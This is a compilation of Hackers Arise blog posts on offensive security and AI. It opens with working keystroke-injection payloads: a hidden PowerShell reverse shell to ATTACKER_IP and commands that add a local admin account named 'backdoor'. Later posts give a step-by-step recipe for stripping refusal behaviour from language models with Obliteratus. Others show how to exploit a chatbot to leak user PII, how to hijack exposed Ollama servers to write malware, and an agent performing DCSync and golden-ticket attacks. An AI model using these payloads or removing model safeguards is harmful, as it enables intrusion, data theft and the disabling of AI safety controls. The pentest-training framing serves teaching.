Create a reverse shell:

GUI r
DELAY 1000
STRING powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sb2b=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sb2b,0,$sb2b.Length)}"
ENTER

Add a local admin user:

GUI r
DELAY 800
STRING cmd
ENTER
DELAY 1000
STRING net user backdoor P@ssw0rd123 /add
ENTER
STRING net localgroup administrators backdoor /add
ENTER

There’s also a table we left for you to grasp the logic, if you’re not familiar with it.

Summary

Before LoKi we used to work with loops and control these rogue devices over WiFi. Now you can do it with a lot more range. A mouse is just an example, it can be swapped out for something else. The core idea of LoKi is that it’s a LoRa implant. It’d be great to see more creative ideas built around it.

If you enjoy experimenting with frequencies and trying new things, we have our SDR for Hackers training. Master OTW will show how to use your computer and inexpensive SDR hardware to hack a wide range of radio signals. It’s available for beginners and advanced students.

The post Persistence: Sending Keystrokes from Kilometers Away with LoKi first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors and AI enthusiasts!

As we know, the world of LLMs is constantly shifting. LLMs that shine today may become slower or be surpassed as quickly as the next day or month. To help simplify the process of navigating these changes over time, you can turn to OpenRouter.

OpenRouter offers a unified API that allows seamless access and routing among hundreds of LLMs. It also features tools for cost management and fallback options, allowing you to control your LLM spending and optimize performance effectively.

In this article, we will delve into how OpenRouter operates, weigh its pros and cons, and guide you on how to get started. Let’s get rolling!

OpenRouter Architecture: How It Works

When you use OpenRouter, your request never talks to OpenAI or Anthropic directly. It talks to OpenRouter first. OpenRouter acts as a proxy and decides where your request should go, applies your preferences, and hands back one clean response. Let’s walk through how that actually happens, step by step.

It all starts on your end. You make one API call, send your prompt, pick a model (or just let OpenRouter handle that decision), and set whatever parameters you’d normally use.

From there, the request hits OpenRouter’s routing layer, and this thing has to think fast, we’re talking milliseconds. First it checks whether you asked for a specific model or told OpenRouter to optimize on your behalf. Then it starts comparing notes: which provider has the best price right now, which endpoint is fastest at this exact moment, whether your preferred model is even available. If it’s not, routing already has a backup lined up. It also looks at what’s worked well before, so a provider with a strong track record on similar requests tends to get picked more often.

Once that decision is made, your request goes out to an actual provider, maybe OpenAI, maybe Anthropic, maybe Mistral, or really any of the 400-plus models sitting in OpenRouter’s catalog. And here’s what I find genuinely clever about the whole setup: the provider has no idea anything unusual is going on. As far as they’re concerned, it’s just a normal request. They process it, send back a response, done.

That response then makes its way back to OpenRouter, gets cleaned up and put into a consistent format, and lands in your application, no matter which provider actually did the work behind the scenes.

Get Started with OpenRouter

To send requests, you first need to create an account on OpenRouter and obtain your API key. Head over to the official OpenRouter website to sign up.

OpenRouter gives you two ways to start using it. There’s a free tier that grants access to a range of models, so you can start experimenting without spending anything. If you need paid models or services, you simply add pay-as-you-go credits and only pay for what you use.

Once you’ve decided how you’ll use it, the next step is getting your API key. Head to the dashboard, find the “API keys” option, and click “New Key.” A dialog box will pop up showing your new key. Copy it right away and store it somewhere safe.

Making Your First API Call in OpenRouter

To make your first API call to OpenRouter, we’ll utilize the Python programming language. I assume you have some familiarity with it; if not, we offer a series of articles and courses to help you get up to speed. You don’t need to be an expert, but it’s important to grasp concepts such as making HTTP requests and working with JSON responses.

We’ll be using the openai Python package to connect with OpenRouter’s API, and we’ll also incorporate python-dotenv to manage environment variables securely. Additionally, I suggest setting up a Python virtual environment for a smoother experience.

kali> python3 -m venv myenv

kali> source myenv/bin/activate

kali> pip install requests openai python-dotenv

Create an .env file in your project directory and add your OpenRouter key like this:

OPENROUTER_API_KEY=your_api_key

After that, we’re ready to start testing. To do so, we can create a simple script like the one below.

Once you run this script as you typically would with any Python script, you’ll receive a response similar to the one below.

I hope this gives you an idea. OpenRouter features good documentation that covers a lot, and your potential outcomes are only limited by your imagination.

Previously, we discussed how to utilize OpenRouter to create an autonomous AI agent that employs a reasoning loop to streamline OSquery threat hunting. This process transforms raw system data into forensic conclusions at machine speed. You can find more details on this topic here. The process is generally quite straightforward. Additionally, take some time to explore other applications of OpenRouter in the article titled “Targeting LLM Supply Chains with Router-in-the-Middle Attacks.”

What Specific Models Does the OpenRouter API Offer?

OpenRouter provides access to an extensive catalog, featuring over 400 models sourced from various providers. In addition to the well-known chat models, OpenRouter organizes its offerings into collections based on specific use cases. You can explore dedicated sections for vision and multimodal models that analyze images and interpret charts, as well as embedding models designed for semantic search and RAG pipelines. There are also models for video and audio generation, along with text-to-speech and transcription capabilities.

However, figuring out which model to choose and estimating your monthly costs can still be a challenge. To address this, OpenRouter has released its own benchmarks. They maintain five leaderboards that operate on production endpoints, four of which focus on fixed models, allowing you to compare the configurations you actually control.

Another useful feature is the model comparison tool, which lets you select models that interest you and find the best fit for your needs.

How Does OpenRouter Manage Data Privacy and Security While Routing Requests?

When your data reaches OpenRouter, it first hits their servers before being forwarded to the provider that handles the actual inference, such as Anthropic or OpenAI. OpenRouter processes the prompt to route it correctly and log usage, then sends that same prompt to the downstream provider to generate a response. It is important to note that the retention and training policies that apply to your data are a blend of both OpenRouter’s and the provider’s practices, meaning OpenRouter’s privacy settings tell only part of the story.

By default, OpenRouter does not retain your prompts. They only store your prompts or responses if you specifically choose to opt in for logging. There are two distinct opt-in options available. One allows you to view your own prompts and completions in your logs for debugging, while the other gives OpenRouter permission to use your prompt and completion data to enhance the product. This latter option is turned off by default but offers a small usage discount if you enable it. Neither of these options is activated unless you decide to do so.

Additionally, there is a feature called Anonymous Input Categorization. With this feature, OpenRouter samples a small number of prompts for categorization, which helps in reporting and model ranking. If you have not opted in for OpenRouter to use your inputs and outputs, any categorization of your prompts should be stored anonymously and should never be linked to your account or user ID. This categorization is conducted by the model with a strict zero-data-retention policy.

Zero Data Retention, or ZDR, means that OpenRouter will only route your requests to endpoints from providers that do not store your data, and these providers also cannot use your data for training purposes.

Pros and Cons of OpenRouter

The greatest advantage of OpenRouter lies in its convenience. With just one API, you gain access to a multitude of models from OpenAI, Anthropic, Google, and more, eliminating the hassle of managing multiple integrations. It automatically handles failovers, rerouting requests if a provider goes down, and simplifies cost optimization by allowing you to easily compare prices and choose options that fit within your budget.

On the flip side, the main concerns revolve around trust and control. Each request now passes through an additional layer before reaching the actual provider, which introduces another party into your privacy framework.

Summary

OpenRouter has several important benefits for cybersecurity work. By not relying on just one provider, you lower your risk if that provider is breached or goes down. The automatic failover feature keeps your tools running even if a model provider has an outage.

It’s also useful for testing. You can run the same security task on different models without having to rebuild anything each time.

I recommend trying this tool; it might be a great fit for your cybersecurity toolkit.

The post OpenRouter: One Gateway to Every LLM first appeared on Hackers Arise.

Welcome back, investigators!

The world is moving fast and it’s hard to keep up with everything happening around us. Not long ago, news from foreign places could take days or weeks to arrive. Now it’s different. Planes, ships, satellites, news and basically everything else is indexed and on the internet. The only problem is there are so many services and this fragmentation can drain your focus fast. But all these things can be integrated into one platform that runs locally.

We want to talk about ShadowBroker today. The developers did a great job making the tool professional, so it does deserve your attention. 

ShadowBroker

ShadowBroker is an OSINT dashboard designed to collect a wide variety of public intelligence feeds into its map interface. It visualizes live information from different sources, which includes aircraft and maritime tracking, satellite orbit data, reports on world conflicts and so much more.

The developers built it using Next.js for the frontend and MapLibre GL for rendering the interactive mapping layer. FastAPI and Python are used for the backend.

Setting Up

Before we start working with the dashboard, we need to set up a couple of things first. The tool does support different OS, but we’ll use Kali. 

ShadowBroker needs Docker and Docker Compose to be installed on the system.

Here are the commands that will help you set things up:

kali > sudo apt update
kali > sudo apt install docker.io
kali > sudo systemctl start docker
kali > sudo systemctl enable docker
kali > sudo apt install docker-compose
kali > sudo usermod -aG docker $USER
kali > newgrp docker

When you run these commands, you might be asked to restart different services. Press “Ok” and wait for the installation to complete. After the installation is complete, restart your Kali.

When your Kali boots, the Docker service should already be running. Now we can install ShadowBroker:

kali > git clone https://github.com/BigBodyCobain/Shadowbroker.git
kali > cd Shadowbroker

Once you’re in its directory, you need to run Docker commands with root privileges, otherwise it will throw an error:

kali > sudo su
root > docker compose pull
root > docker compose up -d

It will take a few minutes to install. Time spent on waiting really depends on you hardware and internet speed. It might take roughly 10 minutes. When Docker is done, see if ShadowBroker is up:

root > docker ps

You should see its containers in the output. Your system will keep them running in the background every time you boot.

Dashboard

Now we are ready to test it. Make sure you have allocated enough resources to your Kali VM to let it run smoothly. Open your browser and put this in the search bar: http://localhost:3000 (or try http://127.0.0.1:3000 if it doesn’t open anything).

When you open it for the first time, it will ask you for API keys. These keys are optional and you can skip this part. It will also offer you the option to hook up an AI agent to parse through the data and find correlations, but there is already enough data without it.

On the left side, there is a panel with many Data Layers with information that can be enabled or disabled. They include military flights, private jets, commercial aircraft, maritime vessels, satellite tracking, seismic activity and other global monitoring feeds. The list continues to expand.

It may feel overwhelming at first to work with the dashboard, so there is a legend with icon references. You can find it at the top of the left side, it has a small book icon.

News 

News alerts appear on the lower right side of the interface, categorized by their level of importance.

When significant events occur in a particular region, the platform aggregates related news articles and shows them as yellow clusters on the map. You can open these clusters and see the headlines with links that lead to original sources.

Red clusters contain information collected from Telegram. You can see them scattered across the globe. Quite often they have media attached to them. 

There is also Threat Intercept, these are big banners with alerts that you see on the screen in different regions. You can click and see more detailed information

Military Bases

The recent update brought military bases to the map. Here are some of them near the Strait of Hormuz

Antennas and Nodes

Antennas and Metastatic nodes are also available in the dashboard. You can tune in or send a message.

Satellite Monitoring

Satellites orbiting the Earth have different purposes. Some of them are used for weather forecasting, others give us communication services. There are also some used for recon, military and scientific missions. If you enable the satellite layer, you can see them moving across the planet.

GPS Jamming

GPS jamming can happen for several reasons, including military exercises, electronic warfare operations or just experimental testing.

Here you can see parts of Romania being jammed near the capital.

Aircraft Tracking

The dashboard has several categories of aircraft, including military planes, tracked VIP aircraft and commercial flights.

Some aircraft are tagged with additional information that identifies their owner. The one above belongs to the government of Morocco. You can look up specific individuals in the search bar. For instance, searching for the President of the United States will show the location of his aircraft if he’s flying somewhere. 

Satellite Captures

The satellite captures are updated on a daily basis. They can be useful for environmental monitoring and weather observation.

You can play with different layers under Satellites to see other things. For example, here is VIIRS Nightlight by NASA.

Summary

OSINT is generally about connecting many small pieces of publicly available information into one thing. It’s an arduous thing to do, since you have to jump from tab to tab and find ways to piece it all together. ShadowBroker brings all that aggregated and prioritized information into one platform. The developers have been taking good care of the project for almost half a year now since they published it. New things keep getting integrated, expanding the amount of data available for analysis. Given how simple it is to set up, it’s worth giving it a shot.

If you want to improve your OSINT skills, consider our OSINT training. Those who need assistance in finding the truth, don’t hesitate to reach out to us at hackers-arise@protonmail.com. We will conduct an investigation for you.

The post Open Source Intelligence (OSINT): Tracking World Events with ShadowBroker first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Lately, the constrained AI models that companies keep shipping are becoming less and less useful for cybersecurity. We keep hearing a lot of complaints about Claude in this regard. What they are doing doesn’t really fix the problem, as hackers are not sitting around waiting for the guardrails to be lifted. The barrier to entry for hacking has dropped hard. AI can already automate huge chunks of this cybercrime work. Many of these latest models can even find zero days during engagements.

So poking around your infrastructure looks completely irrelevant. A more meaningful approach is to actually emulate these real attacks with AI, but for that we need a model with no guardrails. Today we are going to show you how to jailbreak a model and self host it for your pentesting work.

What is Obliteratus

Obliteratus is built to strip refusal behavior out of LLMs using abliteration. You’ll see it called abliteration or obliteration, same thing. It targets the internal representations causing the model to refuse in the first place and knocks them out. The model keeps all its core capability, it just stops throwing up artificial walls when you ask it something. It runs on CPU for smaller models, and it’s already been used to abliterate Kimi-K3 along with a bunch of others.

Setting Up

Setting up this tool will take some time, just like the jailbreak process itself. How long depends on your hardware and your internet speed.

kali > sudo apt update
kali > sudo apt install -y python3 python3-pip python3-venv git
kali > git clone https://github.com/elder-plinius/OBLITERATUS.git
kali > cd OBLITERATUS
kali > python3 -m venv venv
kali > source venv/bin/activate
kali > pip install --upgrade pip
kali > pip install -e .

Once it finishes, see if it works:

kali > obliteratus --help

If you don’t have a GPU, don’t worry. You can absolutely make this work with small models using just CPU power. Our Kali VM ran on 12 gigs of RAM and 7 processors, and that setup worked really well.

We went with Qwen 2.5-0.5B-Instruct for this test. You don’t need to have it downloaded beforehand. The tool will fetch it for you automatically. There are different methods available for the jailbreaking process, but advanced and nuclear are the most common. The advanced method is usually enough for most use cases, but if you see the model misbehaving you can escalate to nuclear.

kali > obliteratus obliterate Qwen/Qwen2.5-0.5B-Instruct --device cpu --method advanced --output-dir ./abliterated-qwen-0.5b

Once the model downloads, the tool starts running prompts designed to lift the guardrails.

You can find the full list of prompts in obliteratus/prompts.py. Right before it finishes, it runs a series of refusal tests to check whether the model actually complies with requests. Behavior varies a lot depending on which model you’re working with and which method you picked.

In our testing, the advanced method gave us approximately 75% of compliant answers.

At this point, everything is prepared and you can push your model to HuggingFace to share it. But if you want to run it locally, the next step is getting it working with Ollama.

Running Models with Ollama

Aircorridor previously made an article on running Ollama models locally and showed how to do it on a MacBook. If you don’t have it, you can still make this work on a Kali VM using your CPU. We need to convert our new model into a format that Ollama actually understands.

kali > git clone https://github.com/ggerganov/llama.cpp
kali > cd llama.cpp; python3 -m venv venv; source venv/bin/activate
kali > pip install -r requirements.txt
kali > python convert_hf_to_gguf.py /home/kali/OBLITERATUS/abliterated-qwen-0.5b --outfile qwen2.5-0.5b-abliterated-f16.gguf --outtype f16

Next, we create a Modelfile that points to the model:

kali > cat > Modelfile << EOF
FROM ./qwen2.5-0.5b-abliterated-f16.gguf
EOF

Then we create the model using Ollama:

kali > ollama create qwen05b-abliterated -f Modelfile

At this point, everything is ready and you can start testing it. The better the model you start with, the better your results will be.

kali > ollama run qwen05-abliterated

But even with a small model like this, you’ll see it do things that normally it wouldn’t.

Abliterated Models

This tool is helpful for doing the work yourself and understanding the logic behind the whole process. But if you’re working at scale and don’t have time to spend on each model individually, just keep in mind that many abliterated models are available on HuggingFace uploaded by huihui.ai. They’ve already done the heavy lifting for a lot of popular models.

If you can’t find exactly what you need in their collection, you now know how to do it yourself.

Summary

The landscape of offensive security has shifted because AI got so good at automation. Simple pentests with constrained models don’t prepare you for the reality out there anymore. As you can see, there’s no reason to work with constrained models in cybersecurity, when the people you’re up against are exploiting the full capability of a model with nothing holding them back. So test your environment with abliterated models before someone else does it. The tool is great for staying ahead of the actual threats.

The post Artificial Intelligence in Cybersecurity, Part 25: Jailbreaking AI Models with Obliteratus first appeared on Hackers Arise.

The post Software Defined Radio (SDR) for Hackers: Choosing the Best Hardware for SDR first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Many software-as-a-service (SaaS) platforms are adding AI chatbots to their products. But these bots do more than just chat; they can access internal tools and perform tasks for users. Each of these actions creates a potential security risk, and developers are releasing these features faster than they can secure them.

In this article, I want to share a type of vulnerability I found while testing an AI chatbot – LLM02:2025 Sensitive Information Disclosure – which allowed me to obtain users’ first and last names and email addresses just by interacting with the chatbot. Let’s get rolling!

What is LLM02:2025 Sensitive Information Disclosure?

LLM02:2025 Sensitive Information Disclosure is a critical security issue listed in the OWASP Top 10 for LLM Applications 2025. This problem occurs when a Large Language Model (LLM) application accidentally reveals confidential or personal information in its responses.

This vulnerability happens because LLMs are designed to be helpful and use all available context, such as training data, system prompts, and runtime inputs, to create replies. If sensitive information is included in these sources without proper protections, the model may accidentally disclose information it should keep private.

Step 1: Find the Hidden Feature Behind the Feature

Our target had a chat feature that looked, on its face, completely trivial: type an arithmetic expression wrapped in double curly braces, and the bot evaluates it and replies with the answer.

{{5-5+0}} = 0
{{5*5+0}} = 25

Just like a calculator. But the interesting bugs live in the features nobody thought to test twice. So I started varying the input systematically, the way you’d fuzz any parameter in a pentest. And the calculator started talking back with things that were most definitely not numbers:

{{5-0+0}} → collectionPropertyOption://CollectionName
{{1-0+0}} → https://domain/p/CollectionName
{{2-0+0}} → user://UUID

This shows that the “calculator” is really a thin cover for a much riskier part of the code, which allows direct access to the platform’s internal system without any authentication.

Step 2: Isolate the Real Trigger

When you notice a leak like this, do not just note it down. Understand what is causing it.

My first guess was that the final answer of the expression is used as a lookup index. This is easy to test. Try expressions that all result in the same number through different math operations:

{{2+2}}    = 4        (plain number)
{{2+2+0}}  = 4        (plain number)
{{2-2+0}}  = user://UUID    ← NOT a plain number!

That last result contradicted my guess. The expression 2-2+0 simplifies to 0, but the result came back as an object reference instead of a plain number, similar to when the expression equals 2. This was a clue. I ran a few similar tests to confirm:

{{4-2}}    (=2)  → collectionProperty:// reference (type 4, not type 2)
{{5-2+0}}  (=3)  → collectionPropertyOption:// reference (type 5, not type 3)
{{0+2-2}}  (=0)  → plain number (type 0)

In conclusion, the lookup key is based on the first operand’s type, not the final arithmetic result. The developer’s evaluator takes the first number from the input and puts it directly into an internal array, sorted by object type, completely separate from what the expression calculates. I confirmed this by testing the limits:

{{99-2+0}}              = 97 (plain math, outside the enum)  
{{99999999999-0+0}}     = 99999999999 (same, safely out of range)

Step 3: Turn the Reference Into a Record

The next question is obvious: will the system actually resolve that reference if I hand it back to it?

Yes. It will.

{{user://<uuid>}} → returns first name, last name, and email address of that user.

This AI chatbot successfully provided information about any user by knowing his UUID.

Summary

Finding an issue like this, such as index leak, reference resolution, and PII disclosure, is not just luck; it is a systematic approach. This is the practical skill we teach at Hackers-Arise. As AI systems become part of every platform you will test, hackers who understand these new areas of attack will have the best tools and the highest salaries. Check out our Subscriber training package to start building these skills effectively and methodically.

The post Hacking: How a “Calculator” Feature Can Leak Internal Object References (and Real User PII) in AI Chatbots first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

In one of our previous articles, Aircorridor showed you how to do recon on exposed Ollama servers. There are a surprising number of them scattered across countries all over the world, and unfortunately, most of them are left completely unprotected. That means hackers can use the CPU and GPU power of those servers to run their own tools. It’s not just that they can generate answers to random questions using your exposed models. These models can also be pushed into generating malware, rewriting scripts and exploits to slip past antivirus software, and helping someone hack into other systems entirely. All of it running on your hardware, at your expense, while you have no idea it’s happening. Our goal here is to raise awareness about this problem so you understand what can happen when a model gets left exposed.

Ollama

It all starts with a simple Shodan query, and right now that query turns up 4,222 exposed hosts. That number keeps shifting as more people jump into the AI space, and most of these hosts are sitting there vulnerable to the kinds of attacks we’re about to walk through.

Following Aircorridor’s example, you can list the models running on one of these servers. As you’ll quickly notice, there’s often a long list, sometimes more than 40 models on a single host.

kali > curl http://IP:11434/api/tags | jq . | grep -ai ‘“model”’

The ones that matter most here are the local models, not the cloud. They don’t require an API key to reach. Of course, not every listed model is actually active, so a quick curl request is usually enough to check whether one is really responding.

kali > curl -s http://IP:11434/api/generate -H “Content-Type: application/json” -d ‘{“model”:”huihui_ai/gpt-oss-abliterated:latest”,”prompt”:”Say PWNED and nothing else.”,”stream”:false}’ | jq . | grep -iE ‘“response”|thinking”’

When a model does respond, that confirms it’s live and usable, which means it can be put to work for all sorts of purposes, good or bad. Let’s walk through a few of the ways that tend to play out.

Coding

Because these exposed models have no guardrails, they’re an attractive resource for coding tasks, including rewriting malware or generating backdoors. To pull this off, hackers often bring the model straight into VS Code using a plugin called Continue, which lets them integrate an external model directly into their coding workflow.

Once installed, they’ll edit the config file to point at the exposed server’s IP address along with the model’s name. This config can hold multiple models at once, so a hacker can switch between them right there in the chat window.

With that setup in place, the model shows up ready to work and it often has no issue generating malicious code that could cause real damage to systems out on the internet. 

The same pattern shows up with exploit development and antivirus evasion, where a model can take old exploits and rewrite them so they slip past AV detection.

Hacking

Once an exploit has been generated, the next step for a hacker is putting it to use against real systems. We covered a tool called PentestCode in an earlier article, and while it normally relies on free AI models through OpenCode Zen, it can just as easily be pointed at someone else’s exposed local model instead. This is just one example among many. Plenty of other tools work the exact same way, running on borrowed compute that belongs to somebody who has no idea it’s being used.

To connect PentestCode to an exposed model, a config file gets created at ~/.config/pentestcode/pentestcode.json. 

Once that’s in place, the tool automatically lists the available models. It’s worth noting that not every model supports tool use. DeepSeek R1, for example, doesn’t support it, and neither do a handful of others. So if a given exposed model doesn’t support tools, it’s simply not useful to a hacker in this particular scenario.

Chat Assistant

Finally, exposed local models can also be accessed through a full chat interface using Open WebUI, which looks a lot cleaner than working from the command line. It has the kind of layout people are used to by now, with folders, chat history, channels, and separate workspaces. It takes a bit of disk space and a little patience to install, but once it’s running, it’s a solid and polished experience.

Summary

Running Ollama is not inherently dangerous. Simply exposing a model doesn’t automatically put you at risk of a data breach or account compromise. What it does do is hand hackers free access to your CPU and GPU, letting them run their own workloads on your dime without your knowledge or consent. That alone is a real cost, even if nothing else goes wrong.

The bigger danger shows up with older, outdated Ollama instances. Older versions are more likely to carry known vulnerabilities, and there are documented CVEs out there that can lead to full API exposure. When that happens, hackers aren’t just borrowing your compute anymore. They can steal your API keys outright and use them for whatever purpose they like. Keeping Ollama updated and making sure it isn’t sitting exposed to the open internet goes a long way toward avoiding both problems entirely.

We also invite you to join our AI for Cybersecurity training, available to our Subscriber Pro members. During the training, we’ll cover practical ways to use AI in cybersecurity, show you how to install and run local models, and much more. The field is evolving rapidly, and the sooner you learn to use these tools, the greater your advantage will be.

The post Artificial Intelligence (AI) in Cybersecurity, Part 24: Abusing Exposed Ollama Models first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

Cellular or mobile networks have become a favorite target for Chinese APT and other hackers trying to:

1. Collect location data
2. Eavesdrop on voice conversations
3. Intercept confidential data.

To understand what these hackers are doing and how to protect your organization against it, let’s delve into how mobile networks work.

What is a Mobile Network?

A cellular network is not a single antenna or a single piece of infrastructure, but a layered system that lets moving devices stay connected wirelessly while the network manages identity, coverage, mobility, and routing in the background. At the edge is the UE, the user equipment: essentially the phone together with its SIM. The SIM proves who the subscriber is, while the phone provides the radio interface and the user-facing functions. From the user’s perspective it feels simple: the phone has signal and connects. Technically, that simplicity is created by several coordinated layers working at the same time.

The Radio Access Network (RAN)

The access layer is the RAN, the Radio Access Network. This is where base stations communicate with phones over the air. Different generations use different names for roughly the same role: BTS in 2G, NodeB in 3G, eNodeB in 4G, and gNodeB in 5G. Behind that sits the core, which acts like the brain of the network. It authenticates the user, keeps track of where the device is, sets up calls and data sessions, and connects traffic toward other networks and the internet. Coverage is then divided into many cells, and frequencies are reused carefully across cells that are far enough apart to avoid interference. That reuse is one of the key reasons cellular systems can serve millions of users with limited spectrum.

The Handover

Mobility is handled through handover. As a device moves, the network silently transfers the connection from one cell to another so that a call, stream, or download can continue without the user noticing. The complete path is therefore UE to RAN, RAN to core, and core to the internet or another network. The telemetry reinforces that this is an active, managed system: signal quality, connected cells, traffic load, uplink, downlink, latency, and packet loss all describe the health of the connection. So after defining what must stay inside the lab, this gives us the basic architecture we are allowed to study safely: device, access network, core, cells, and mobility working together as one coordinated network.

The Control Plane vs the User Plane

Building on the architecture of UE, RAN, core, cells, and handover, the next distinction is about what kind of traffic is moving through that architecture. A cellular network carries two very different conversations at the same time. One conversation is about managing the connection itself, and the other is the actual content the user cares about. That difference is captured by the split between the control plane and the user plane.

The control plane is signaling. It is the network’s coordination layer: registering the device, authenticating the subscriber, tracking where the device is, deciding how calls and messages should be routed, and maintaining the session as the user moves. The user plane is the payload: voice, video, web traffic, app data, and messages carried through the channels that signaling has already established. A simple way to think about it is that the control plane is the set of instructions that says where traffic should go, while the user plane is the traffic itself.

This split matters for security because the two planes have different characteristics and different risks. Signaling tends to be small, structured, and network-wide; payload traffic is usually larger and more local to the user’s active session. They also run through different systems and are protected in different ways. The important insight is that attacks do not always need to break encryption on the content itself. If someone can manipulate signaling, they may be able to influence where calls, SMS, or sessions are routed. So the defensive focus is not only protecting the data, but also protecting the instructions that control the data.

Summary

Mobile networks have become ubiquitous and essential to our digital life in our modern times. Billions of people rely upon these networks to communicate and transmit data around the world. Despite security measures implemented in 4G and 5G networks, advanced attackers continue to breach these networks almost at will. If you or your organization use these networks to transmit data, make voice calls or otherwise utilize these networks, you are at risk. By better understanding these networks, you are better prepared to protect you and your organization from eavesdropping, data interception, and rogue location services.

To learn more about these systems and how they can attacked, check out our Building Your Own Mobile 4G/5G Base Station where we demonstrate real attacks on our networks.

The post Mobile Network Hacking:What is a Mobile Network and How Does it Work? first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Take a second and think about how many devices are actually working around you right now. Cameras on street corners, routers sitting inside nearby homes, Bluetooth earbuds in someone’s pocket, cell towers just outside of view. All of that is happening constantly, yet almost none of it is visible to the average person walking by. If you actually wanted to check what devices were nearby today, you would probably end up jumping from one app to another, waiting for each one to load, and still walking away without the full picture. It is slow, it is frustrating, and honestly, it takes all the fun out of exploring what is really going on around you.

A lot of these devices are not just sitting there minding their own business. Many of them are built specifically to track you. A recent video on X showed this. It captured a flock camera taking several pictures of a moving vehicle, running those pictures through some kind of analysis, and then filing everything away in an indexed format.

In the screenshot above, you can see the guy picking up the signal coming straight off the camera, while the camera itself keeps emitting a steady beam of infrared. Here is the full video.

Privacy is not a crime, and you have every right to know what might be watching you. The real challenge has always been figuring out where all of these surveillance devices are hiding. That’s where WireTapper can help us. It pulls data from Wigle, Shodan, and OpenCelliD one at a time. That way, you can see every one of these devices in your area.

WireTapper

WireTapper is a wireless OSINT tool designed to discover, map, and analyze radio based devices using passive signal intelligence. WireTapper detects and correlates signals coming from all the common wireless technologies you would expect to run into. This helps you understand what devices actually exist nearby and where they are likely located all without ever having to actively intrude on anything.

WireTapper can identify leaked Wi-Fi network credentials, and it does this through a privacy-protecting k-Anonymity query scheme, meaning it can check for exposed passwords without ever exposing your own search to the outside world.

Setting Up

Let’s quickly walk through the installation process. It’s a lot simpler than it looks.

kali > git clone https://github.com/h9zdev/WireTapper.git
kali > cd WireTapper
kali > python3 -m venv venv; source venv/bin/activate
kali > pip3 install -r WireTapper.txt

Once that finishes, you will need to grab API keys from each of the services mentioned above. Do not worry too much about Shodan, since its API is paid and WireTapper will still run fine without it. There are two ways to plug these keys into the app. You can either open app.py and enter them directly, or you can use app-env.py instead, which pulls the keys in through environment variables.

After you have picked your method, we recommend also installing python-dotenv, since it makes handling those environment variables a lot smoother.

kali > pip3 install python-dotenv

Working with WireTapper

Once everything is installed, you are ready to start the app and open the web interface.

kali > python3 app.py

The web interface will be waiting for you right here: http://localhost:8080/map-w

This is the dashboard you will land on the moment you open the page. It takes a little while to load everything, so give it a few minutes before you start clicking around. Once it settles in, you can zoom into whatever area you are curious about and start picking apart what is actually hiding there.

Just keep in mind that you need valid API keys for the app to work the way it is meant to. Without them, WireTapper will simply generate dummy data so you can still see how everything normally looks inside it. On Wigle specifically, your email needs to be verified before the connection will work properly.

At the top of the dashboard, you will notice a switch that lets you jump between Wi-Fi uplink and Bluetooth scanners. That is how you filter what you are looking at.

Flip the switch back the other way, and you get the same kind of view but for Wi-Fi devices instead. This side usually includes things like cameras, routers, and other similar devices.

Exporting Results

All of these results can be exported complete with their names and coordinates, in case you decide to use them somewhere else later on.

The example above is just a taste of how those exported results are going to look. You can use this JSON file with other tools.

Summary

There is far more happening around us than most people realize. WireTapper makes it easier to visualize that activity by bringing together information about nearby wireless infrastructure in one interface. If you’re into OSINT, privacy, or wireless security, it’s a handy tool. 

OSINT is a valuable skill in many areas, especially when it comes to privacy, cybersecurity, and cyber warfare. The more you understand what information is publicly exposed, the better you can protect yourself and your digital assets. Our Ultimate OSINT Beginner training covers OPSEC, tracking, investigations, and much more across 23 lessons and 7.5 hours of video content.

We’re also hosting a live Remaining Anonymous training on August 11-13 at 3:00 PM UTC for all Subscriber and Subscriber Pro students.

The post OSINT: WireTapper – Mapping Surveillance and Wireless Devices Around You first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Lately we have been covering the use of AI in cybersecurity and this space has been growing so fast that it’s hard to keep up sometimes. It’s only going to keep growing from here, so it’s smart to learn how to use it to your advantage instead of getting left behind.

Today we’re going to show you a pentest tool that works with different models. The tool comes ready to use right out of the box and you don’t have to provide your API key to get started. During our own testing, we did eventually hit a usage limit, but by that point we had already gotten a ton of work done. The limits will reset every day, sometimes you just need to wait 5-14 hours. But the daily limit should be enough for you to complete many of your tasks.

What is PentestCode

PentestCode is an autonomous agent that lives in your terminal. You point it at a target and from there it takes over. It can run tools, read the output, build a picture of the network as it decides what step makes sense next. Under the hood, it’s a hard fork of OpenCode, but stripped of all the code editing features and rebuilt from the ground up with offensive security in mind.

In our experience the tool did well in both web and network pentesting. Of course, everyone’s mileage may vary, so give it a shot yourself and see how it fits into your workflow. With that said, let’s get it set up.

Setting Up

All you need to do is unzip the release version and start it up. Before you do that though, make sure you are downloading the original project made by s0ld13rr and not some fork. There have been reports of forks being bundled with infected files, so stick to the source.

kali > wget https://github.com/s0ld13rr/pentestcode/releases/download/v0.2.5/pentestcode-linux-x64.tar.gz
kali > 7z x pentestcode-linux-x64.tar.gz
kali > 7z x pentestcode-linux-x64.tar

And that’s it, we are ready to launch.

Working with PentestCode

Once you launch the tool, the console will appear.

kali > ./pentestcode

At this point you can either leave everything at the default settings or tweak the model and the provider yourself. By default, the tool is set up with OpenCode Zen as the provider and Big Pickle as the model, though you can switch that over to DeepSeek v4 Flash. 

If you want to connect to a different provider, just type /connect.

And whenever you want to swap the model, just type /models and pick from the list.

Active Directory

Let’s start by testing this against our own lab. We gave it an Active Directory account with low privileges and asked to pull some interesting information from LDAP.

It came back with domain admins, misconfigs, machine accounts and more.

At the very end of the report, it suggested the next steps based on everything it found. 

Then we brought in BloodHound to see the relationships across the domain. If you have been following our earlier articles, you already know that our lowpriv account is set up as a kind of backdoor, since it holds GenericAll rights over AdminSDHolder. The tool found the backdoor and exploited it.

The agent performed a DCSync attack and pulled every user hash in the environment. Then we asked it to generate a golden ticket.

